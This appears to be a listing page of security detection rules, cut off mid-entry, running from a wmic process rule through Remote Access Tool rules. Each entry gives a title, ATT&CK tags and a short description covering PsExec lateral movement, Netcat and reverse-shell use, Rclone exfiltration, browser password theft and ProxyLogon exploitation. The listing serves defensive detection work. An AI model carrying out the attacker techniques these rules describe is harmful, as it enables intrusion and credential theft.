Detects the execution of "wmic" with the "process" flag, which adversary might use to list processes running on the compromised host or list installed software hotfixes and patches.

Read More
Processes Accessing the Microphone and Webcam

Aug 12, 2024 · attack.collection attack.t1123 ·
Share on:

Potential adversaries accessing the microphone and webcam in an endpoint.

Read More
ProcessHacker Privilege Elevation

Aug 12, 2024 · attack.execution attack.privilege-escalation attack.t1543.003 attack.t1569.002 ·
Share on:

Detects a ProcessHacker tool that elevated privileges to a very high level

Read More
Program Executions in Suspicious Folders

Aug 12, 2024 · attack.t1587 attack.t1584 attack.resource-development ·
Share on:

Detects program executions in suspicious non-program folders related to malware or hacking activity

Read More
Protected Storage Service Access

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 ·
Share on:

Detects access to a protected_storage service over the network. Potential abuse of DPAPI to extract domain backup keys from Domain Controllers

Read More
Proxy Execution Via Wuauclt.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.execution ·
Share on:

Detects the use of the Windows Update Client binary (wuauclt.exe) for proxy execution.

Read More
ProxyLogon MSExchange OabVirtualDirectory

Aug 12, 2024 · attack.t1587.001 attack.resource-development ·
Share on:

Detects specific patterns found after a successful ProxyLogon exploitation in relation to a Commandlet invocation of Set-OabVirtualDirectory

Read More
ProxyLogon Reset Virtual Directories Based On IIS Log

Aug 12, 2024 · cve.2021-26858 detection.emerging-threats attack.initial-access attack.t1190 ·
Share on:

When exploiting this vulnerability with CVE-2021-26858, an SSRF attack is used to manipulate virtual directories

Read More
Ps.exe Renamed SysInternals Tool

Aug 12, 2024 · attack.defense-evasion attack.g0035 attack.t1036.003 car.2013-05-009 detection.emerging-threats ·
Share on:

Detects renamed SysInternals tool execution with a binary named ps.exe as used by Dragonfly APT group and documented in TA17-293A report

Read More
PSAsyncShell - Asynchronous TCP Reverse Shell

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects the use of PSAsyncShell an Asynchronous TCP Reverse Shell written in powershell

Read More
PSExec and WMI Process Creations Block

Aug 12, 2024 · attack.execution attack.lateral-movement attack.t1047 attack.t1569.002 ·
Share on:

Detects blocking of process creations originating from PSExec and WMI commands

Read More
Psexec Execution

Aug 12, 2024 · attack.execution attack.t1569 attack.t1021 ·
Share on:

Detects user accept agreement execution in psexec commandline

Read More
PSEXEC Remote Execution File Artefact

Aug 12, 2024 · attack.lateral-movement attack.privilege-escalation attack.execution attack.persistence attack.t1136.002 attack.t1543.003 attack.t1570 attack.s0029 ·
Share on:

Detects creation of the PSEXEC key file. Which is created anytime a PsExec command is executed. It gets written to the file system and will be recorded in the USN Journal on the target system

Read More
PsExec Service Child Process Execution as LOCAL SYSTEM

Aug 12, 2024 · attack.execution ·
Share on:

Detects suspicious launch of the PSEXESVC service on this system and a sub process run as LOCAL_SYSTEM (-s), which means that someone remotely started a command on this system running it with highest privileges and not only the privileges of the login user account (e.g. the administrator account)

Read More
PsExec Service Execution

Aug 12, 2024 · attack.execution ·
Share on:

Detects launch of the PSEXESVC service, which means that this system was the target of a psexec remote execution

Read More
PsExec Service File Creation

Aug 12, 2024 · attack.execution attack.t1569.002 attack.s0029 ·
Share on:

Detects default PsExec service filename which indicates PsExec service installation and execution

Read More
PsExec Service Installation

Aug 12, 2024 · attack.execution attack.t1569.002 attack.s0029 ·
Share on:

Detects PsExec service installation and execution events

Read More
PsExec Tool Execution From Suspicious Locations - PipeName

Aug 12, 2024 · attack.execution attack.t1569.002 attack.s0029 ·
Share on:

Detects PsExec default pipe creation where the image executed is located in a suspicious location. Which could indicate that the tool is being used in an attack

Read More
PsExec/PAExec Escalation to LOCAL SYSTEM

Aug 12, 2024 · attack.resource-development attack.t1587.001 ·
Share on:

Detects suspicious commandline flags used by PsExec and PAExec to escalate a command line to LOCAL_SYSTEM rights

Read More
PST Export Alert Using eDiscovery Alert

Aug 12, 2024 · attack.collection attack.t1114 ·
Share on:

Alert on when a user has performed an eDiscovery search or exported a PST file from the search. This PST file usually has sensitive information including email body content

Read More
PST Export Alert Using New-ComplianceSearchAction

Aug 12, 2024 · attack.collection attack.t1114 ·
Share on:

Alert when a user has performed an export to a search using 'New-ComplianceSearchAction' with the '-Export' flag. This detection will detect PST export even if the 'eDiscovery search or exported' alert is disabled in the O365.This rule will apply to ExchangePowerShell usage and from the cloud.

Read More
PUA - 3Proxy Execution

Aug 12, 2024 · attack.command-and-control attack.t1572 ·
Share on:

Detects the use of 3proxy, a tiny free proxy server

Read More
PUA - AdFind Suspicious Execution

Aug 12, 2024 · attack.discovery attack.t1018 attack.t1087.002 attack.t1482 attack.t1069.002 stp.1u ·
Share on:

Detects AdFind execution with common flags seen used during attacks

Read More
PUA - Adidnsdump Execution

Aug 12, 2024 · attack.discovery attack.t1018 ·
Share on:

This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks Python 3 and python.exe must be installed, Usee to Query/modify DNS records for Active Directory integrated DNS via LDAP

Read More
PUA - Advanced IP Scanner Execution

Aug 12, 2024 · attack.discovery attack.t1046 attack.t1135 ·
Share on:

Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.

Read More
PUA - Advanced IP/Port Scanner Update Check

Aug 12, 2024 · attack.discovery attack.t1590 ·
Share on:

Detect the update check performed by Advanced IP/Port Scanner utilities.

Read More
PUA - Advanced Port Scanner Execution

Aug 12, 2024 · attack.discovery attack.t1046 attack.t1135 ·
Share on:

Detects the use of Advanced Port Scanner.

Read More
PUA - AdvancedRun Execution

Aug 12, 2024 · attack.execution attack.defense-evasion attack.privilege-escalation attack.t1564.003 attack.t1134.002 attack.t1059.003 ·
Share on:

Detects the execution of AdvancedRun utility

Read More
PUA - AdvancedRun Suspicious Execution

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1134.002 ·
Share on:

Detects the execution of AdvancedRun utility in the context of the TrustedInstaller, SYSTEM, Local Service or Network Service accounts

Read More
PUA - Chisel Tunneling Tool Execution

Aug 12, 2024 · attack.command-and-control attack.t1090.001 ·
Share on:

Detects usage of the Chisel tunneling tool via the commandline arguments

Read More
PUA - CleanWipe Execution

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects the use of CleanWipe a tool usually used to delete Symantec antivirus.

Read More
PUA - Crassus Execution

Aug 12, 2024 · attack.discovery attack.t1590.001 ·
Share on:

Detects Crassus, a Windows privilege escalation discovery tool, based on PE metadata characteristics.

Read More
PUA - CSExec Default Named Pipe

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 attack.execution attack.t1569.002 ·
Share on:

Detects default CSExec pipe creation

Read More
PUA - CsExec Execution

Aug 12, 2024 · attack.resource-development attack.t1587.001 attack.execution attack.t1569.002 ·
Share on:

Detects the use of the lesser known remote execution tool named CsExec a PsExec alternative

Read More
PUA - DefenderCheck Execution

Aug 12, 2024 · attack.defense-evasion attack.t1027.005 ·
Share on:

Detects the use of DefenderCheck, a tool to evaluate the signatures used in Microsoft Defender. It can be used to figure out the strings / byte chains used in Microsoft Defender to detect a tool and thus used for AV evasion.

Read More
PUA - DIT Snapshot Viewer

Aug 12, 2024 · attack.credential-access attack.t1003.003 ·
Share on:

Detects the use of Ditsnap tool, an inspection tool for Active Directory database, ntds.dit.

Read More
PUA - Mouse Lock Execution

Aug 12, 2024 · attack.credential-access attack.collection attack.t1056.002 ·
Share on:

In Kaspersky's 2020 Incident Response Analyst Report they listed legitimate tool "Mouse Lock" as being used for both credential access and collection in security incidents.

Read More
PUA - Netcat Suspicious Execution

Aug 12, 2024 · attack.command-and-control attack.t1095 ·
Share on:

Detects execution of Netcat. Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network

Read More
PUA - Ngrok Execution

Aug 12, 2024 · attack.command-and-control attack.t1572 ·
Share on:

Detects the use of Ngrok, a utility used for port forwarding and tunneling, often used by threat actors to make local protected services publicly available. Involved domains are bin.equinox.io for download and *.ngrok.io for connections.

Read More
PUA - NirCmd Execution

Aug 12, 2024 · attack.execution attack.t1569.002 attack.s0029 ·
Share on:

Detects the use of NirCmd tool for command execution, which could be the result of legitimate administrative activity

Read More
PUA - NirCmd Execution As LOCAL SYSTEM

Aug 12, 2024 · attack.execution attack.t1569.002 attack.s0029 ·
Share on:

Detects the use of NirCmd tool for command execution as SYSTEM user

Read More
PUA - Nmap/Zenmap Execution

Aug 12, 2024 · attack.discovery attack.t1046 ·
Share on:

Detects usage of namp/zenmap. Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation

Read More
PUA - NSudo Execution

Aug 12, 2024 · attack.execution attack.t1569.002 attack.s0029 ·
Share on:

Detects the use of NSudo tool for command execution

Read More
PUA - PAExec Default Named Pipe

Aug 12, 2024 · attack.execution attack.t1569.002 ·
Share on:

Detects PAExec default named pipe

Read More
PUA - Potential PE Metadata Tamper Using Rcedit

Aug 12, 2024 · attack.defense-evasion attack.t1036.003 attack.t1036 attack.t1027.005 attack.t1027 ·
Share on:

Detects the use of rcedit to potentially alter executable PE metadata properties, which could conceal efforts to rename system utilities for defense evasion.

Read More
PUA - Radmin Viewer Utility Execution

Aug 12, 2024 · attack.execution attack.lateral-movement attack.t1072 ·
Share on:

Detects the execution of Radmin which can be abused by an adversary to remotely control Windows machines

Read More
PUA - Rclone Execution

Aug 12, 2024 · attack.exfiltration attack.t1567.002 ·
Share on:

Detects execution of RClone utility for exfiltration as used by various ransomwares strains like REvil, Conti, FiveHands, etc

Read More
PUA - RemCom Default Named Pipe

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 attack.execution attack.t1569.002 ·
Share on:

Detects default RemCom pipe creation

Read More
PUA - RunXCmd Execution

Aug 12, 2024 · attack.execution attack.t1569.002 attack.s0029 ·
Share on:

Detects the use of the RunXCmd tool to execute commands with System or TrustedInstaller accounts

Read More
PUA - Seatbelt Execution

Aug 12, 2024 · attack.discovery attack.t1526 attack.t1087 attack.t1083 ·
Share on:

Detects the execution of the PUA/Recon tool Seatbelt via PE information of command line parameters

Read More
PUA - SoftPerfect Netscan Execution

Aug 12, 2024 · attack.discovery attack.t1046 ·
Share on:

Detects usage of SoftPerfect's "netscan.exe". An application for scanning networks. It is actively used in-the-wild by threat actors to inspect and understand the network architecture of a victim.

Read More
PUA - Suspicious ActiveDirectory Enumeration Via AdFind.EXE

Aug 12, 2024 · attack.discovery attack.t1087.002 ·
Share on:

Detects active directory enumeration activity using known AdFind CLI flags

Read More
PUA - Sysinternal Tool Execution - Registry

Aug 12, 2024 · attack.resource-development attack.t1588.002 ·
Share on:

Detects the execution of a Sysinternals Tool via the creation of the "accepteula" registry key

Read More
PUA - Sysinternals Tools Execution - Registry

Aug 12, 2024 · attack.resource-development attack.t1588.002 ·
Share on:

Detects the execution of some potentially unwanted tools such as PsExec, Procdump, etc. (part of the Sysinternals suite) via the creation of the "accepteula" registry key.

Read More
PUA - WebBrowserPassView Execution

Aug 12, 2024 · attack.credential-access attack.t1555.003 ·
Share on:

Detects the execution of WebBrowserPassView.exe. A password recovery tool that reveals the passwords stored by the following Web browsers, Internet Explorer (Version 4.0 - 11.0), Mozilla Firefox (All Versions), Google Chrome, Safari, and Opera

Read More
PUA - Wsudo Suspicious Execution

Aug 12, 2024 · attack.execution attack.privilege-escalation attack.t1059 ·
Share on:

Detects usage of wsudo (Windows Sudo Utility). Which is a tool that let the user execute programs with different permissions (System, Trusted Installer, Administrator...etc)

Read More
Publicly Accessible RDP Service

Aug 12, 2024 · attack.lateral-movement attack.t1021.001 ·
Share on:

Detects connections from routable IPs to an RDP listener. Which is indicative of a publicly-accessible RDP service.

Read More
Publisher Attachment File Dropped In Suspicious Location

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects creation of files with the ".pub" extension in suspicious or uncommon locations. This could be a sign of attackers abusing Publisher documents

Read More
Pubprn.vbs Proxy Execution

Aug 12, 2024 · attack.defense-evasion attack.t1216.001 ·
Share on:

Detects the use of the 'Pubprn.vbs' Microsoft signed script to execute commands.

Read More
Pulse Connect Secure RCE Attack CVE-2021-22893

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2021-22893 detection.emerging-threats ·
Share on:

This rule detects exploitation attempts using Pulse Connect Secure(PCS) vulnerability (CVE-2021-22893)

Read More
Pulse Secure Attack CVE-2019-11510

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2019-11510 detection.emerging-threats ·
Share on:

Detects CVE-2019-11510 exploitation attempt - URI contains Guacamole

Read More
PwnDrp Access

Aug 12, 2024 · attack.command-and-control attack.t1071.001 attack.t1102.001 attack.t1102.003 ·
Share on:

Detects downloads from PwnDrp web servers developed for red team testing and most likely also used for criminal activity

Read More
Python Image Load By Non-Python Process

Aug 12, 2024 · attack.defense-evasion attack.t1027.002 ·
Share on:

Detects the image load of "Python Core" by a non-Python process. This might be indicative of a Python script bundled with Py2Exe.

Read More
Python Initiated Connection

Aug 12, 2024 · attack.discovery attack.t1046 ·
Share on:

Detects a Python process initiating a network connection. While this often relates to package installation, it can also indicate a potential malicious script communicating with a C&C server.

Read More
Python Inline Command Execution

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects execution of python using the "-c" flag. This is could be used as a way to launch a reverse shell or execute live python code.

Read More
Python Spawning Pretty TTY on Windows

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects python spawning a pretty tty

Read More
Python SQL Exceptions

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Generic rule for SQL exceptions in Python according to PEP 249

Read More
Qakbot Regsvr32 Calc Pattern

Aug 12, 2024 · attack.defense-evasion attack.execution detection.emerging-threats ·
Share on:

Detects a specific command line of "regsvr32" where the "calc" keyword is used in conjunction with the "/s" flag. This behavior is often seen used by Qakbot

Read More
Qakbot Rundll32 Exports Execution

Aug 12, 2024 · attack.defense-evasion attack.execution detection.emerging-threats ·
Share on:

Detects specific process tree behavior of a "rundll32" execution with exports linked with Qakbot activity.

Read More
Qakbot Rundll32 Fake DLL Extension Execution

Aug 12, 2024 · attack.defense-evasion attack.execution detection.emerging-threats ·
Share on:

Detects specific process tree behavior of a "rundll32" execution where the DLL doesn't have the ".dll" extension. This is often linked with potential Qakbot activity.

Read More
Qakbot Uninstaller Execution

Aug 12, 2024 · detection.emerging-threats attack.execution ·
Share on:

Detects the execution of the Qakbot uninstaller file mentioned in the USAO-CDCA document on the disruption of the Qakbot malware and botnet

Read More
Query Tor Onion Address - DNS Client

Aug 12, 2024 · attack.command-and-control attack.t1090.003 ·
Share on:

Detects DNS resolution of an .onion address related to Tor routing networks

Read More
Query Usage To Exfil Data

Aug 12, 2024 · attack.execution ·
Share on:

Detects usage of "query.exe" a system binary to exfil information such as "sessions" and "processes" for later use

Read More
Raccine Uninstall

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects commands that indicate a Raccine removal from an end system. Raccine is a free ransomware protection tool.

Read More
Rar Usage with Password and Compression Level

Aug 12, 2024 · attack.collection attack.t1560.001 ·
Share on:

Detects the use of rar.exe, on the command line, to create an archive with password protection or with a specific compression level. This is pretty indicative of malicious actions.

Read More
Rare Remote Thread Creation By Uncommon Source Image

Aug 12, 2024 · attack.privilege-escalation attack.defense-evasion attack.t1055 ·
Share on:

Detects uncommon processes creating remote threads.

Read More
Rare Subscription-level Operations In Azure

Aug 12, 2024 · attack.t1003 ·
Share on:

Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.

Read More
Raw Paste Service Access

Aug 12, 2024 · attack.command-and-control attack.t1071.001 attack.t1102.001 attack.t1102.003 attack.defense-evasion ·
Share on:

Detects direct access to raw pastes in different paste services often used by malware in their second stages to download malicious code in encrypted or encoded form

Read More
RBAC Permission Enumeration Attempt

Aug 12, 2024 · attack.t1069.003 attack.t1087.004 ·
Share on:

Detects identities attempting to enumerate their Kubernetes RBAC permissions. In the early stages of a breach, attackers will aim to list the permissions they have within the compromised environment. In a Kubernetes cluster, this can be achieved by interacting with the API server, and querying the SelfSubjectAccessReview API via e.g. a "kubectl auth can-i --list" command. This will enumerate the Role-Based Access Controls (RBAC) rules defining the compromised user's authorization.

Read More
Rclone Activity via Proxy

Aug 12, 2024 · attack.exfiltration attack.t1567.002 ·
Share on:

Detects the use of rclone, a command-line program to manage files on cloud storage, via its default user-agent string

Read More
Rclone Config File Creation

Aug 12, 2024 · attack.exfiltration attack.t1567.002 ·
Share on:

Detects Rclone config files being created

Read More
RDP Connection Allowed Via Netsh.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 ·
Share on:

Detects usage of the netsh command to open and allow connections to port 3389 (RDP). As seen used by Sarwent Malware

Read More
RDP Login from Localhost

Aug 12, 2024 · attack.lateral-movement car.2013-07-002 attack.t1021.001 ·
Share on:

RDP login with localhost source address may be a tunnelled login

Read More
RDP Over Reverse SSH Tunnel

Aug 12, 2024 · attack.command-and-control attack.t1572 attack.lateral-movement attack.t1021.001 car.2013-07-002 ·
Share on:

Detects svchost hosting RDP termsvcs communicating with the loopback address and on TCP port 3389

Read More
RDP over Reverse SSH Tunnel WFP

Aug 12, 2024 · attack.defense-evasion attack.command-and-control attack.lateral-movement attack.t1090.001 attack.t1090.002 attack.t1021.001 car.2013-07-002 ·
Share on:

Detects svchost hosting RDP termsvcs communicating with the loopback address

Read More
RDP Port Forwarding Rule Added Via Netsh.EXE

Aug 12, 2024 · attack.lateral-movement attack.defense-evasion attack.command-and-control attack.t1090 ·
Share on:

Detects the execution of netsh to configure a port forwarding of port 3389 (RDP) rule

Read More
RDP Sensitive Settings Changed

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1112 ·
Share on:

Detects tampering of RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections'...etc

Read More
RDP Sensitive Settings Changed to Zero

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1112 ·
Share on:

Detects tampering of RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections', etc.

Read More
RDP to HTTP or HTTPS Target Ports

Aug 12, 2024 · attack.command-and-control attack.t1572 attack.lateral-movement attack.t1021.001 car.2013-07-002 ·
Share on:

Detects svchost hosting RDP termsvcs communicating to target systems on TCP port 80 or 443

Read More
RDS Database Security Group Modification

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects changes to the security group entries for RDS databases. This can indicate that a misconfiguration has occurred which potentially exposes the database to the public internet, a wider audience within the VPC or that removal of valid rules has occurred which could impact the availability of the database to legitimate services and users.

Read More
Read Contents From Stdin Via Cmd.EXE

Aug 12, 2024 · attack.execution attack.t1059.003 ·
Share on:

Detect the use of "<" to read and potentially execute a file via cmd.exe

Read More
Rebuild Performance Counter Values Via Lodctr.EXE

Aug 12, 2024 · attack.execution ·
Share on:

Detects the execution of "lodctr.exe" to rebuild the performance counter registry values. This can be abused by attackers by providing a malicious config file to overwrite performance counter configuration to confuse and evade monitoring and security solutions.

Read More
Recon Activity via SASec

Aug 12, 2024 · attack.discovery ·
Share on:

Detects remote RPC calls to read information about scheduled tasks via SASec

Read More
Recon Command Output Piped To Findstr.EXE

Aug 12, 2024 · attack.discovery attack.t1057 ·
Share on:

Detects the execution of a potential recon command where the results are piped to "findstr". This is meant to trigger on inline calls of "cmd.exe" via the "/c" or "/k" for example. Attackers often time use this technique to extract specific information they require in their reconnaissance phase.

Read More
Recon Information for Export with Command Prompt

Aug 12, 2024 · attack.collection attack.t1119 ·
Share on:

Once established within a system or network, an adversary may use automated techniques for collecting internal data.

Read More
Recon Information for Export with PowerShell

Aug 12, 2024 · attack.collection attack.t1119 ·
Share on:

Once established within a system or network, an adversary may use automated techniques for collecting internal data

Read More
Reconnaissance Activity

Aug 12, 2024 · attack.discovery attack.t1087.002 attack.t1069.002 attack.s0039 ·
Share on:

Detects activity as "net user administrator /domain" and "net group domain admins /domain"

Read More
RedMimicry Winnti Playbook Registry Manipulation

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects actions caused by the RedMimicry Winnti playbook

Read More
Reg Add Suspicious Paths

Aug 12, 2024 · attack.defense-evasion attack.t1112 attack.t1562.001 ·
Share on:

Detects when an adversary uses the reg.exe utility to add or modify new keys or subkeys

Read More
RegAsm.EXE Initiating Network Connection To Public IP

Aug 12, 2024 · attack.defense-evasion attack.t1218.009 ·
Share on:

Detects "RegAsm.exe" initiating a network connection to public IP adresses

Read More
Regedit as Trusted Installer

Aug 12, 2024 · attack.privilege-escalation attack.t1548 ·
Share on:

Detects a regedit started with TrustedInstaller privileges or by ProcessHacker.exe

Read More
Register New IFiltre For Persistence

Aug 12, 2024 · attack.persistence ·
Share on:

Detects when an attacker registers a new IFilter for an extension. Microsoft Windows Search uses filters to extract the content of items for inclusion in a full-text index. You can extend Windows Search to index new or proprietary file types by writing filters to extract the content, and property handlers to extract the properties of files.

Read More
REGISTER_APP.VBS Proxy Execution

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects the use of a Microsoft signed script 'REGISTER_APP.VBS' to register a VSS/VDS Provider as a COM+ application.

Read More
Registry Disable System Restore

Aug 12, 2024 · attack.impact attack.t1490 ·
Share on:

Detects the modification of the registry to disable a system restore on the computer

Read More
Registry Entries For Azorult Malware

Aug 12, 2024 · attack.execution attack.t1112 ·
Share on:

Detects the presence of a registry key created during Azorult execution

Read More
Registry Explorer Policy Modification

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects registry modifications that disable internal tools or functions in explorer (malware like Agent Tesla uses this technique)

Read More
Registry Hide Function from User

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects registry modifications that hide internal tools or functions from the user (malware like Agent Tesla, Hermetic Wiper uses this technique)

Read More
Registry Modification to Hidden File Extension

Aug 12, 2024 · attack.persistence attack.t1137 ·
Share on:

Hides the file extension through modification of the registry

Read More
Registry Modification Via Regini.EXE

Aug 12, 2024 · attack.t1112 attack.defense-evasion ·
Share on:

Detects the execution of regini.exe which can be used to modify registry keys, the changes are imported from one or more text files.

Read More
Registry Persistence Mechanisms in Recycle Bin

Aug 12, 2024 · attack.persistence attack.t1547 ·
Share on:

Detects persistence registry keys for Recycle Bin

Read More
Registry Persistence via Explorer Run Key

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

Detects a possible persistence mechanism using RUN key for Windows Explorer and pointing to a suspicious folder

Read More
Registry Persistence via Service in Safe Mode

Aug 12, 2024 · attack.defense-evasion attack.t1564.001 ·
Share on:

Detects the modification of the registry to allow a driver or service to persist in Safe Mode.

Read More
Registry-Free Process Scope COR_PROFILER

Aug 12, 2024 · attack.persistence attack.t1574.012 ·
Share on:

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR. (Citation: Microsoft Profiling Mar 2017) (Citation: Microsoft COR_PROFILER Feb 2013)

Read More
Regsvr32 DLL Execution With Suspicious File Extension

Aug 12, 2024 · attack.defense-evasion attack.t1218.010 ·
Share on:

Detects the execution of REGSVR32.exe with DLL files masquerading as other files

Read More
Regsvr32 DLL Execution With Uncommon Extension

Aug 12, 2024 · attack.defense-evasion attack.t1574 attack.execution ·
Share on:

Detects a "regsvr32" execution where the DLL doesn't contain a common file extension.

Read More
Regsvr32 Execution From Highly Suspicious Location

Aug 12, 2024 · attack.defense-evasion attack.t1218.010 ·
Share on:

Detects execution of regsvr32 where the DLL is located in a highly suspicious locations

Read More
Regsvr32 Execution From Potential Suspicious Location

Aug 12, 2024 · attack.defense-evasion attack.t1218.010 ·
Share on:

Detects execution of regsvr32 where the DLL is located in a potentially suspicious location.

Read More
Rejetto HTTP File Server RCE

Aug 12, 2024 · attack.initial-access attack.t1190 attack.t1505.003 cve.2014-6287 detection.emerging-threats ·
Share on:

Detects attempts to exploit a Rejetto HTTP File Server (HFS) via CVE-2014-6287

Read More
Relevant ClamAV Message

Aug 12, 2024 · attack.resource-development attack.t1588.001 ·
Share on:

Detects relevant ClamAV messages

Read More
RemCom Service File Creation

Aug 12, 2024 · attack.execution attack.t1569.002 attack.s0029 ·
Share on:

Detects default RemCom service filename which indicates RemCom service installation and execution

Read More
RemCom Service Installation

Aug 12, 2024 · attack.execution attack.t1569.002 ·
Share on:

Detects RemCom service installation and execution events

Read More
Remote Access Tool - AnyDesk Execution

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Read More
Remote Access Tool - Anydesk Execution From Suspicious Folder

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Read More
Remote Access Tool - AnyDesk Execution With Known Revoked Signing Certificate

Aug 12, 2024 · attack.execution attack.initial-access ·
Share on:

Detects the execution of an AnyDesk binary with a version prior to 8.0.8. Prior to version 8.0.8, the Anydesk application used a signing certificate that got compromised by threat actors. Use this rule to detect instances of older versions of Anydesk using the compromised certificate This is recommended in order to avoid attackers leveraging the certificate and signing their binaries to bypass detections.

Read More
Remote Access Tool - AnyDesk Piped Password Via CLI

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

Detects piping the password to an anydesk instance via CMD and the '--set-password' flag.

Read More
Remote Access Tool - AnyDesk Silent Installation

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

Detects AnyDesk Remote Desktop silent installation. Which can be used by attackers to gain remote access.

Read More
Remote Access Tool - GoToAssist Execution

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Read More
Remote Access Tool - LogMeIn Execution

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Read More
Remote Access Tool - NetSupport Execution

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Read More
Remote Access Tool - RURAT Execution From Unusual Location

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects execution of Remote Utilities RAT (RURAT) from an unusual location (outside of 'C:\Program Files')

Read More
Remote Access Tool - ScreenConnect Execution

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Read More
Remote Access Tool - ScreenConnect Installation Execution

Aug 12, 2024 · attack.initial-access attack.t1133 ·
Share on:

Detects ScreenConnect program starts that establish a remote access to a system.

Read More
Remote Access Tool - ScreenConnect Potential Suspicious Remote Command Execution

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

Detects potentially suspicious child processes launched via the ScreenConnect client service.

Read More
Remote Access Tool - ScreenConnect Remote Command Execution

Aug 12, 2024 · attack.execution attack.t1059.003 ·
Share on:

Detects the execution of a system command via the ScreenConnect RMM service.

Read More
Remote Access Tool - ScreenConnect Server Web Shell Execution

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects potential web shell execution from the ScreenConnect server process.

Read More
Remote Access Tool - Simple Help Execution

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Read More
Remote Access Tool - Team Viewer Session Started On Linux Host

Aug 12, 2024 · attack.initial-access attack.t1133 ·
Share on:

Detects the command line executed when TeamViewer starts a session started by a remote host. Once a connection has been started, an investigator can verify the connection details by viewing the "incoming_connections.txt" log file in the TeamViewer folder.

Read More
Remote Access Tool - Team Viewer Session Started On MacOS Host

